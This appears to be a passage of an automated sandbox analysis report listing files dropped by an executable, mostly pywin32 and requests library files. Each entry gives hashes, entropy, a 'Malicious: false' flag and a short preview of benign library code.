SHA-512:	36F53C178F1772915BA95F6B997D14BD8AA50CD78CFC91AA26BB6CC886DCE242F3867C9D4E642CF01AA57302DDCABD1ED8600520F982CECB851BEB5A945127A4
Malicious:	false
Preview:	# basic module browser...# usage:.# >>> import browser.# >>> browser.Browse().# or.# >>> browser.Browse(your_module).import sys.import types..import __main__.import win32ui.from pywin.mfc import dialog..from . import hierlist..special_names = ["__doc__", "__name__", "__self__"]...#.# HierList items.class HLIPythonObject(hierlist.HierListItem):. def __init__(self, myobject=None, name=None):. hierlist.HierListItem.__init__(self). self.myobject = myobject. self.knownExpandable = None. if name:. self.name = name. else:. try:. self.name = myobject.__name__. except (AttributeError, TypeError):. try:. r = repr(myobject). if len(r) > 20:. r = r[:20] + "...". self.name = r. except (AttributeError, TypeError):. self.name = "???".. def __lt__(self, other):. return self.name <

C:\recover\pw\Lib\site-packages\pythonwin\pywin\tools\hierlist.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12728
Entropy (8bit):	4.585314492569441
Encrypted:	false
SSDEEP:	192:MDVW1/JSQsesOdVrQ2csMsBesqOssAs3K+VsEIEbsJ2sNX9h5:MDVW1/gjd6P3nfasT3K+WEIfbNXH5
MD5:	236EE733E7E2050E9752A4399DC39038
SHA1:	CC55A32C114CDF79C10845109AA5080B7F479B3A
SHA-256:	2FF0B1026DB642DD066A70F381EFDFCB49DF98BFB2A16483ADCCEEE335E66E4C
SHA-512:	BC813AE9C7F9C66CE52A1C2188D338EDDACBF9655C26B795D6058961D51D70B22ADE3823BE2A8AD4549E88F04DB087E28DE31A06E76DD594F038C553F4D3671C
Malicious:	false
Preview:	# hierlist.#.# IMPORTANT - Please read before using...# This module exposes an API for a Hierarchical Tree Control..# Previously, a custom tree control was included in Pythonwin which.# has an API very similar to this...# The current control used is the common "Tree Control". This module exists now.# to provide an API similar to the old control, but for the new Tree control...# If you need to use the Tree Control, you may still find this API a reasonable.# choice. However, you should investigate using the tree control directly.# to provide maximum flexibility (but with extra work)...import sys..import commctrl.import win32api.import win32con.import win32ui.from pywin.mfc import dialog, docview, object, window.from win32api import RGB...# helper to get the text of an arbitary item.def GetItemText(item):. if type(item) == type(()) or type(item) == type([]):. use = item[0]. else:. use = item. if type(use) == type(""):. return use. else:. return re

C:\recover\pw\Lib\site-packages\pythonwin\pywin\tools\regedit.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13258
Entropy (8bit):	4.68464406936916
Encrypted:	false
SSDEEP:	192:PdJYvTWhkPwMiGP8V0V3ZP9FS5Kha5KHvo:PdMekIC8yVpP9FS5Kha5Kw
MD5:	D93B28C41A0C20FF2F27DD72EA6746BB
SHA1:	247A44DE8B5EC098E19EEF56DCA78008BAAB7313
SHA-256:	F445B80A01D9107F0D5DBB265FA3BDD867513A5F3B12B1C3B23F337EAD92B98D
SHA-512:	B30A43E8FBA7AA524F81B8166479A72E999876CD120A70BF5AC6B9EAC0B987186AE553485899C2054FCD14332C67586D93EF720A5564E9BC02CFE58CC83BA401
Malicious:	false
Preview:	# Regedit - a Registry Editor for Python..import commctrl.import regutil.import win32api.import win32con.import win32ui.from pywin.mfc import dialog, docview, window..from . import hierlist...def SafeApply(fn, args, err_desc=""):. try:. fn(*args). return 1. except win32api.error as exc:. msg = "Error " + err_desc + "\r\n\r\n" + exc.strerror. win32ui.MessageBox(msg). return 0...class SplitterFrame(window.MDIChildWnd):. def __init__(self):. # call base CreateFrame. self.images = None. window.MDIChildWnd.__init__(self).. def OnCreateClient(self, cp, context):. splitter = win32ui.CreateSplitter(). doc = context.doc. frame_rect = self.GetWindowRect(). size = ((frame_rect[2] - frame_rect[0]), (frame_rect[3] - frame_rect[1]) // 2). sub_size = (size[0] // 3, size[1]). splitter.CreateStatic(self, 1, 2). # CTreeControl view. self.keysview = RegistryTreeView(doc). # C

C:\recover\pw\Lib\site-packages\pythonwin\pywin\tools\regpy.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2227
Entropy (8bit):	4.872054790493375
Encrypted:	false
SSDEEP:	48:oTIg2Jhq9JNFqAsiCn0XlscNhQTdOTEaMp5UQP/6GOx5Yn:oTIRznjoQTdOoaMpHn65x5Yn
MD5:	493F358181163C78F296572CEC865F45
SHA1:	6E18E4A6E1ACEF2435F2A34E0A134170895AF726
SHA-256:	DD83DA51DE78BA6E3E540C1C66A84DCC2A3E24D85C086522C02F2BC693B74B4F
SHA-512:	4FA5B274307879902F2C4EA553C424F990A56F9034D5BC2EE809F14354BBCDCC04882C1C1AA0BF7B83475D65AEF5FA60B6318217DEE67CFF22C5B0CFF9144A95
Malicious:	false
Preview:	# (sort-of) Registry editor.import commctrl.import dialog.import win32con.import win32ui...class RegistryControl:. def __init__(self, key):. self.key = key...class RegEditPropertyPage(dialog.PropertyPage):. IDC_LISTVIEW = 1000.. def GetTemplate(self):. "Return the template used to create this dialog".. w = 152 # Dialog width. h = 122 # Dialog height. SS_STD = win32con.WS_CHILD \| win32con.WS_VISIBLE. FRAMEDLG_STD = win32con.WS_CAPTION \| win32con.WS_SYSMENU. style = (. FRAMEDLG_STD. \| win32con.WS_VISIBLE. \| win32con.DS_SETFONT. \| win32con.WS_MINIMIZEBOX. ). template = [. [self.caption, (0, 0, w, h), style, None, (8, "Helv")],. ]. lvStyle = (. SS_STD. \| commctrl.LVS_EDITLABELS. \| commctrl.LVS_REPORT. \| commctrl.LVS_AUTOARRANGE. \| commctrl.LVS_ALIGNLEFT. \| win32con.WS_BORDER.

C:\recover\pw\Lib\site-packages\pythonwin\scintilla.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	474624
Entropy (8bit):	6.625429940844488
Encrypted:	false
SSDEEP:	12288:R8sS+hMcU1b7Feir+8Cid5hut1GBd4IYe4ta:H8f+8CidqoareMa
MD5:	128F85DBF43015318D2FC3BDB61D1550
SHA1:	BE5A1C973A6994B65556A64F7F929D8FA86C09EE
SHA-256:	50ACED901BB6E6576F3DAEE43C24E502F4C313390A6BCA10A80CB8DD5C869EFA
SHA-512:	BC2C872159D35FF661161FD61819C35374BDA83A1E26DC3A6ABC8E6D83D965BB250A4849C88B98E8C84CA52BCE64AE3765719FFD4C91007AD952B1092D3B122D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................... .................................p...n......n.....n.....n.....Rich............................PE..L...?..d...........!.........".......+.......@............................................@......................... ...\...\|...x....0..x....................@...2......................................@............@..4............................text...7-.......................... ..`.rdata.......@.......2..............@..@.data....-..........................@....rsrc...x....0......................@..@.reloc...2...@...4..................@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\pythonwin\start_pythonwin.pyw

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	570
Entropy (8bit):	4.806856150980674
Encrypted:	false
SSDEEP:	12:5DQ8WFNnLKyJWLakSQkSL77Pami/x8xAmMH/IKSeUiwf5PN:5hW3nmg2ShSLNiOamMfK5iwX
MD5:	E99710CD86EE5DD0224147A559D6B188
SHA1:	52009301D69B18151F5BC894D71EFAA14C2B5C9A
SHA-256:	0E602BB5890C84E4AC07FD60A7C3A91AF9C62AC598174B893DCF570AADCF1EA7
SHA-512:	B0A5A853B7728A1179015A5DE01DAC8E7B826CF239011292B5348DCF9F61E9EF460F1EFDC9799E49E40E6D26E519D7B50996C681A8BB0BB80148ACDD7CBDB94C
Malicious:	false
Preview:	# A Python file that can be used to start Pythonwin, instead of using.# pythonwin.exe.import os.import sys..import win32ui..import pywin.framework.intpyapp # InteractivePythonApp()..assert pywin.framework.intpyapp # not unused.# Pretend this script doesn't exist, or pythonwin tries to edit it.sys.argv[:] = sys.argv[1:] or [""] # like PySys_SetArgv(Ex).if sys.path[0] not in ("", ".", os.getcwd()):. sys.path.insert(0, os.getcwd()).# And bootstrap the app..app = win32ui.GetApp().if not app.InitInstance():. # Run when not already handled by DDE. app.Run().

C:\recover\pw\Lib\site-packages\pythonwin\win32ui.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	892416
Entropy (8bit):	6.415727021722159
Encrypted:	false
SSDEEP:	12288:ogk6SBmDYtKlZrLk4IkhT3C7Iv8uKqqBL8FxZd:on+rA4Is7YI8qqBL8F
MD5:	CB5708039138CD4A63A922198DC43325
SHA1:	35C22C64A6C2761DF113858AF81284CF175AD0A7
SHA-256:	C6A9B6E35206C7FC440EFAE2187D9E5DB3227CB4E66F7AC69D4ABCA166BE8866
SHA-512:	1617FF8A78990591AEA7A33B9B3831D887E8701046E4A8E05DFF1211C759CCBCCEA8756017E16EEF016DAB1BD037E80243B7EAA1ACD5FD95FDC799FFC8BC2AEC
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................a...E.....#..............................{.........E.....E.....E.....E.....Rich............................PE..L......d...........!......................................................................@......................... i...Q......T...............................l:...x..T....................z.......y..@...............4............................text...B........................... ..`.rdata...%.......&..................@..@.data...8........`..................@....rsrc................H..............@..@.reloc..l:.......<...b..............@..B................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\pythonwin\win32uiole.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	63488
Entropy (8bit):	6.025963796718588
Encrypted:	false
SSDEEP:	1536:UbH2Q6vAkzIcJhru80D20ys8jcdrVgAHKzJKUgo38Be:UbW3vnzIg6fXrVJHKzUUgo3Ye
MD5:	EDE4BAECB1CFA009AEC578FD6E11AA97
SHA1:	5D982015F94F50A25C8E635562947F8110AA891B
SHA-256:	A864B413E5DD5D2F13DE834FA333546F9FFC2177BD0625EFA2A3175C1449E78F
SHA-512:	5BF40FF82882B7920AB255F2966BCF2DD515B1C23ACD30AC6300E9F170A08E1287FF01852C60B7E267B190E54AE5D362D018E5232A500B6C68EA7FF7373B643F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............L...L...L..%L...L=..M...L[..M...L.M...L.M...L...M...L...M...L...M...L...L...L...M...L=..M...L=..M...L=..M...LRich...L........PE..L...!..d...........!.....b..........AT.......................................@............@.............................T...............d.................... ..........T...............................@............................................text....`.......b.................. ..`.rdata..Fr.......t...f..............@..@.data...............................@....rsrc...d...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\pywin32.pth

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.536641638598185
Encrypted:	false
SSDEEP:	3:SgOFQFU7MLWmP/t1IQbT0+MetmY28eRNTFR23LOeNCEndDpkXEF:SgOOFBVP/H7H0+MeZpcF+KeNCEnmEF
MD5:	322BF8D4899FB978D3FAC34DE1E476BB
SHA1:	467808263E26B4349A1FAF6177B007967FBC6693
SHA-256:	4F67FF92AF0EA38BF18AC308EFD976F781D84E56F579C603ED1E8F0C69A17F8D
SHA-512:	D7264690D653AC6ED4B3D35BB22B963AFC53609A9D14187A4E0027528B618C224ED38E225330CEAE2565731A4E694A6146B3214B3DCEE75B053C8AE79F24A9DD
Malicious:	false
Preview:	# .pth file for the PyWin32 extensions.win32.win32\lib.Pythonwin.# And some hackery to deal with environments where the post_install script.# isn't run..import pywin32_bootstrap.

C:\recover\pw\Lib\site-packages\pywin32_system32\pythoncom310.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	538624
Entropy (8bit):	6.491364168693639
Encrypted:	false
SSDEEP:	12288:1LsDRVuJvn1KJDh6s8NjtwMGRhw0pdRnnG:tszuFg3n
MD5:	D97ECC9F37DC4ED3E5A1927A5B772BEF
SHA1:	23A3869FD403590CD520FA8633E09795E9B5FDCB
SHA-256:	FD2ACDF0CAB285163604CF342BBDC09B4786415EB68ED4DB7625C3E30FD129BB
SHA-512:	5B314CA54B8254F580A4A385A1526504D953E395255A1730073D76ADD73094AD19D3EFE30438AA71869C56A25860B1C743841CD1A3F4AB6F61A98E4CB4A1F5F9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........^X..?6..?6..?6..G...?6..J7..?6..J3..?6..J2..?6..J5..?6.NJ7..?6..T2..?6.(V7..?6..T7..?6..?7..>6.NJ?..?6.NJ6..?6.NJ4..?6.Rich.?6.........PE..L...o..d...........!.........8...........................................................@.........................0...l`........... ..l....................0..8...0 ..T............................ ..@...............l............................text............................... ..`.rdata..............................@..@.data........0...h..................@....rsrc...l.... ......................@..@.reloc..8....0......................@..B................................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\pywin32_system32\pywintypes310.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	109056
Entropy (8bit):	6.492481300735069
Encrypted:	false
SSDEEP:	3072:ghrG/2U9uNwnSZyz2UJ39LOtKq/foJ/d2YPbLNr0JedNKNTuPSuUqm:Xr9u2nYyz2HtKq/foJ/d2YPbRYJedNKE
MD5:	255C85303581C56BD17A0303EF3BDA10
SHA1:	8519047A3FE52E7952766278964DC44D2B3AD651
SHA-256:	949C0AB7842FB4D9ADF01C52C5E24CC286D3F916384684F6C770EC29C69B4D76
SHA-512:	7A4D54B5EE7FD0C33E10D5398CE01B309BD0CEA4F5095C11072AA500BA2091B4F5816B7D5ABD091D812C985809E99FAE7C77EEF844294A83D2460CB1744D8CCB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............j..j..j.....j..k..j......j..o..j..n..j..i..j..n..j...k..j..k..j..k.G.j.e.c..j.e.j..j.e.h..j.Rich..j.........................PE..L......d...........!................9.....................................................@..........................2..D@..Tr..........l............................(..T...........................0)..@............................................text............................... ..`.rdata.............................@..@.data................z..............@....rsrc...l...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\requests\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5072
Entropy (8bit):	4.857425771188779
Encrypted:	false
SSDEEP:	96:7peYVGivM4vAAbAmAmo7146JlABKAFilvrK2As4+AGxQ0isNiZi0Xoy2Psv:7bMo8JdeeWPsoZ1RGxQ/
MD5:	35A5BBB6EFDDDE1984A7E15D69AA5F40
SHA1:	648596E3AC1513E124FE04A3FFE30F8B1BC1BAD7
SHA-256:	E3168011198F0C804FB1AD8FB23A54F6BD3ACA8A0AFB69992874D90215915ADB
SHA-512:	7BEC2837D23FA13356E073DE9FC9739EF18D8417A76729788A867A9ED74635B3D0E886A7AD6B53F1FF98FA138037B090DBC4CAE870E73799C362473B4FA41383
Malicious:	false
Preview:	# __.# /__) _ _ _ _ _/ _.# / ( (- (/ (/ (- _) / _).# /..""".Requests HTTP Library.~~~~~~~~~~~~~~~~~~~~~..Requests is an HTTP library, written in Python, for human beings..Basic GET usage:.. >>> import requests. >>> r = requests.get('https://www.python.org'). >>> r.status_code. 200. >>> b'Python is a programming language' in r.content. True..... or POST:.. >>> payload = dict(key1='value1', key2='value2'). >>> r = requests.post('https://httpbin.org/post', data=payload). >>> print(r.text). {. .... "form": {. "key1": "value1",. "key2": "value2". },. .... }..The other HTTP methods are supported - see `requests.api`. Full documentation.is at <https://requests.readthedocs.io>...:copyright: (c) 2017 by Kenneth Reitz..:license: Apache 2.0, see LICENSE for more details.."""..import warnings..import urllib3..from .exceptions import RequestsDependencyWarning..try:. from charset_normalizer import __version__ as charset_n

C:\recover\pw\Lib\site-packages\requests\pycache\init.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	5.775549554495366
Encrypted:	false
SSDEEP:	96:9qPoGNOeYVGivMhhFJQlIgSdAho7pVaxdses42WQXIBmPy6V7:0P8MhqKgSehPdFQYBwh
MD5:	0D6CB1BF3CF504E424554F887FE11244
SHA1:	F8175A5FFD55C4A8C494061AE28FC7DDE92FA2FA
SHA-256:	A30D493D98C4D1CC36624E6C35E045DDA30D78BA068BF4350AD6014F1EB442D8
SHA-512:	5A9B228031955A82B7A776917B53098981879FB1D04888AAF12FADD69E292FD14DB143EEB359DD70A5665F5A2CE00686AD1D7A9A70D7203489A2F85687E9D4D5
Malicious:	false
Preview:	o.......>k;g.........................@...sL...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y#......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y7......d.Z.Y.n.w.d.d...Z.d.d...Z.z.e.e.j.e.e.....W.n...e.e.f.y`......e...d...e.j.e.e...e.....Y.n.w.z.z.d.d.l.Z.W.n...e.ys......d.Z.Y.n.w.e.e.d.d...s.d.d.l.m.Z...e.......d.d.l.m.Z...e.e.....W.n...e.y.......Y.n.w.d.d.l.m.Z...e...d.e.....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m.Z...d.d.l)mZm+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1..d.d.l.m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;..d.d.l<m=Z=m>Z>m?Z?..d.d.l@mAZAmBZB..d.d.lCmDZD..e..EeF...Ge.......e.j.d.e4d.d.....d.S.).a.....Requests HTTP Library.~~~~~~~~~~~~~~~~~~~~~..Requests is an HTTP library, written in Python, for human beings..Basic GET usage:.. >>> import requests. >>> r = requests.get('https://www.python.org'). >>> r.status_code. 200. >>> b'Python is a programming language' in r.content. True..... or POST:.. >>> payload = dict(key1='value1', key2='value2

C:\recover\pw\Lib\site-packages\requests\pycache\init.cpython-310.pyc.31989544

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3889
Entropy (8bit):	5.776134775305807
Encrypted:	false
SSDEEP:	96:zqPoGNOeYVGivMhhFJQlIgSdAhotpVaxdses42WQXIBmPy6V7:eP8MhqKgSehjdFQYBwh
MD5:	A7E544C6614DA13E0F3E8CE3262D02E3
SHA1:	81499E9C969E54A449824377B7182B8D25837588
SHA-256:	673A34D4B047196EA2035B06BDDCAA86C5BE625EE1FB7F7B1992FCA71521D333
SHA-512:	314A6773E1DB3F17B3705C81C8098AB36199EC21ED893C3E9DF36DC780DE1B77B3FAE47C7E68BFCC18761A7015FF5D13A1FD8E867CF4A8BD44E82C26492AB457
Malicious:	false
Preview:	o.........Sg.........................@...sL...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y#......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y7......d.Z.Y.n.w.d.d...Z.d.d...Z.z.e.e.j.e.e.....W.n...e.e.f.y`......e...d...e.j.e.e...e.....Y.n.w.z.z.d.d.l.Z.W.n...e.ys......d.Z.Y.n.w.e.e.d.d...s.d.d.l.m.Z...e.......d.d.l.m.Z...e.e.....W.n...e.y.......Y.n.w.d.d.l.m.Z...e...d.e.....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m.Z...d.d.l)mZm+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1..d.d.l.m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;..d.d.l<m=Z=m>Z>m?Z?..d.d.l@mAZAmBZB..d.d.lCmDZD..e..EeF...Ge.......e.j.d.e4d.d.....d.S.).a.....Requests HTTP Library.~~~~~~~~~~~~~~~~~~~~~..Requests is an HTTP library, written in Python, for human beings..Basic GET usage:.. >>> import requests. >>> r = requests.get('https://www.python.org'). >>> r.status_code. 200. >>> b'Python is a programming language' in r.content. True..... or POST:.. >>> payload = dict(key1='value1', key2='value2

C:\recover\pw\Lib\site-packages\requests\pycache\version.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	502
Entropy (8bit):	5.452737598967878
Encrypted:	false
SSDEEP:	12:ClUexOsG8ReRyu7msvBXV5b4SazcAFAu63WchRm7hooookk:mxdOyqmsvBF5McAFAu6pH4ek
MD5:	CCD7ED1C2194867689ABC97FD0EE407E
SHA1:	CCFAA515BDB5232D00A08587BE9E68AAFFDFE6FD
SHA-256:	B099ABF065328AB8D87539582ED818B3E816C0EB95CB8434AD45A3882CF4BC61
SHA-512:	9E79FEE9038ECA5268C46008756C6350B68D994D862DBDD67C18952EA81F36849D6AB41CAA79DB6641C7C2E4ECACE3CA1A3A647CD236C04D9FBD2CCC5E195859
Malicious:	false
Preview:	o.......>k;g.........................@...s,...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.S.)...requestsz.Python HTTP for Humans.z.https://requests.readthedocs.ioz.2.32.3i.2..z.Kenneth Reitzz.me@kennethreitz.orgz.Apache-2.0z.Copyright Kenneth Reitzu..... .. .N)...__title__..__description__..__url__..__version__..__build__..__author__..__author_email__..__license__..__copyright__..__cake__..r....r.....6C:\winnit\pw\lib\site-packages\requests\__version__.py..<module>....s........................

C:\recover\pw\Lib\site-packages\requests\pycache\version.cpython-310.pyc.75560288

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	503
Entropy (8bit):	5.451074026233786
Encrypted:	false
SSDEEP:	12:CLUexOsG8ReRyu7msvBXV5b4SazcAFAu63WcV1Rm7hooookk:IxdOyqmsvBF5McAFAu6pR4ek
MD5:	A20A5FAEE6E587992313B25A4C754292
SHA1:	1FE7B18A5D580D292541E02B8B6B8E518DF17405
SHA-256:	7CEF2AD1C768876CBB28352443867503FCDEA262055DAFEE9BFF042B98ED6E75
SHA-512:	250C3A5FDB3B360CDE51464F1A9501E0BB16AAE8869C4E9711C72316878755C06FD5E42C7DA72933D75009FBDBAA4835124F5893D37243EAE6CEBBFE3EF72779
Malicious:	false
Preview:	o.........Sg.........................@...s,...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.S.)...requestsz.Python HTTP for Humans.z.https://requests.readthedocs.ioz.2.32.3i.2..z.Kenneth Reitzz.me@kennethreitz.orgz.Apache-2.0z.Copyright Kenneth Reitzu..... .. .N)...__title__..__description__..__url__..__version__..__build__..__author__..__author_email__..__license__..__copyright__..__cake__..r....r.....7C:\recover\pw\lib\site-packages\requests\__version__.py..<module>....s........................

C:\recover\pw\Lib\site-packages\requests\pycache\_internal_utils.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	1578
Entropy (8bit):	5.631782901279755
Encrypted:	false
SSDEEP:	24:7BUBWmfmQURGWydfvTsNWGioiklxLlWQ5Ycr1OlX471aNNqagEb/m5Q5lC:1UBWAmpGWydoNxLecr1OlX4Ja8me5Q+
MD5:	06B0FE91022737BF900BBF552E1A5DD5
SHA1:	718D9C2CC1AB67AD34906D96AD0ED53FD78DA97E
SHA-256:	2821F24B98759328DCEB1B42874350F12A6A1A0AB94150EF54C0C4B0AA890CA0
SHA-512:	42ABEFC605ABE706D46C5B961203E5797F764BC88AB5EEEB121CFEDAE5F9E3F317FA298B7DD7E7915D52C226AAED351C1F32B6A8A75465A4FD251F72951D01A9
Malicious:	false
Preview:	o.......>k;g.........................@...sr...d.Z.d.d.l.Z.d.d.l.m.Z...e...d...Z.e...d...Z.e...d...Z.e...d...Z.e.e.f.Z.e.e.f.Z.e.e.e.e.i.Z.d.d.d...Z.d.d...Z.d.S.).z..requests._internal_utils.~~~~~~~~~~~~~~..Provides utility functions that are consumed internally by Requests.which depend on extremely few external helpers (such as compat)......N.....)...builtin_strs....^[^:\s][^:\r\n]$z.^[^:\s][^:\r\n]$s....^\S[^\r\n]$\|^$z.^\S[^\r\n]$\|^$..asciic....................C...s ...t.\|.t...r.\|.}.\|.S.\|...\|...}.\|.S.).z.Given a string object, regardless of type, returns a representation of. that string in the native string type, encoding and decoding where. necessary. This assumes ASCII unless told otherwise.. )...isinstancer......decode)...string..encoding..out..r.....:C:\winnit\pw\lib\site-packages\requests\_internal_utils.py..to_native_string....s..............r....c....................C...s4...t.\|.t...s.J...z.\|...d.....W.d.S...t.y.......Y.d.S.w.).z.Determine if unicode string only co

C:\recover\pw\Lib\site-packages\requests\pycache\_internal_utils.cpython-310.pyc.75560848

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1579
Entropy (8bit):	5.631719358822686
Encrypted:	false
SSDEEP:	24:pBUBWmfmQURGWydfvTsNWGioiklxLrWQ5Ycr1OlX471aNNqagEb/m5Q5lC:zUBWAmpGWydoNxLkcr1OlX4Ja8me5Q+
MD5:	FDD1EEFAD839F7E0F6714EF2EA3B953C
SHA1:	6EE834699861947FB117E7F9B8C2EF31CD2A11A9
SHA-256:	A19DB17DF909303886F44E6E61DA41654AD780593316B6B04BC205FE2776487A
SHA-512:	D1AF69618909E893CB1645F09C81B85D1B91F2A375904DFB8FD913B0CDE1E3E55169D5A7F993F5B8EC447AB8B9A3252B99C59E5FD8ABEB48048959DFE22C13EA
Malicious:	false
Preview:	o.........Sg.........................@...sr...d.Z.d.d.l.Z.d.d.l.m.Z...e...d...Z.e...d...Z.e...d...Z.e...d...Z.e.e.f.Z.e.e.f.Z.e.e.e.e.i.Z.d.d.d...Z.d.d...Z.d.S.).z..requests._internal_utils.~~~~~~~~~~~~~~..Provides utility functions that are consumed internally by Requests.which depend on extremely few external helpers (such as compat)......N.....)...builtin_strs....^[^:\s][^:\r\n]$z.^[^:\s][^:\r\n]$s....^\S[^\r\n]$\|^$z.^\S[^\r\n]$\|^$..asciic....................C...s ...t.\|.t...r.\|.}.\|.S.\|...\|...}.\|.S.).z.Given a string object, regardless of type, returns a representation of. that string in the native string type, encoding and decoding where. necessary. This assumes ASCII unless told otherwise.. )...isinstancer......decode)...string..encoding..out..r.....;C:\recover\pw\lib\site-packages\requests\_internal_utils.py..to_native_string....s..............r....c....................C...s4...t.\|.t...s.J...z.\|...d.....W.d.S...t.y.......Y.d.S.w.).z.Determine if unicode string only c

C:\recover\pw\Lib\site-packages\requests\pycache\adapters.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	21992
Entropy (8bit):	5.4284230686104085
Encrypted:	false
SSDEEP:	384:5mMGzG/lVfA1fIGIZ4Wj6EE28aauabYqpXMNpeux9URUlegWjvPWVhynNJRIVv8l:e0TQfIGw4qpmcUp5luxifgCWSYvH9yck
MD5:	8403F84B66B1011896BD6EC334D21369
SHA1:	721DD3029C51AB66ACA99DC93123318A2B9E3103
SHA-256:	A6D2BA5EE47E3325BE7791A9D759D14098C47DC0EB8E8999DBA41F2046332492
SHA-512:	D89C9DEA0EA78BF18C23DC534FCEE7865071A58BA79EE0B908114F23988F0AECADB52A49DDE93402D3C9AE0E1280BA2C9CD080B0BC6CEDD9610867A876DE69B9
Malicious:	false
Preview:	o.......>k;g;k.......................@...s&...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l"m#Z#..d.d.l$m%Z%m&Z&..d.d.l'm(Z(..d.d.l)mZm+Z+m.Z.m,Z,m-Z-m.Z.m.Z.m/Z/m0Z0m.Z...d.d.l1m2Z2..d.d.l3m4Z4..d.d.l5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<..z.d.d.l=m>Z>..W.n...e?y.......d.d...Z>Y.n.w.e.j@r.d.d.l1mAZA..d.ZBd.ZCd.ZDd.ZEz.d.d.lFZFe!..ZGeG.He7e6......W.n...e?y.......d.ZGY.n.w........ .!.".#.$.%.&d-d'd(..ZIG.d)d..d..ZJG.d+d,..d,eJ..ZKd.S.).z..requests.adapters.~~~~~~~~~~~~~~~~~..This module contains the transport adapters that Requests uses to define.and maintain connections.......N)...ClosedPoolError..ConnectTimeoutError)...HTTPError)...InvalidHeader)...LocationValueError..MaxRetryError..NewConnectionError..ProtocolError)...ProxyError)...ReadTimeoutError..ResponseError)...SSLError)...PoolManager..proxy_from_url)...Timeout)...parse_ur

C:\recover\pw\Lib\site-packages\requests\pycache\adapters.cpython-310.pyc.75229456

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	21993
Entropy (8bit):	5.4284984389838264
Encrypted:	false
SSDEEP:	384:zmMgzG/lVfA1fIGIZ4Wj6EE28aauabYqpXMNpeux9URUlegWjvPWVhynNJRIVv8l:e0TQfIGw4qpmcUp5luxifgCWSYvH9yck
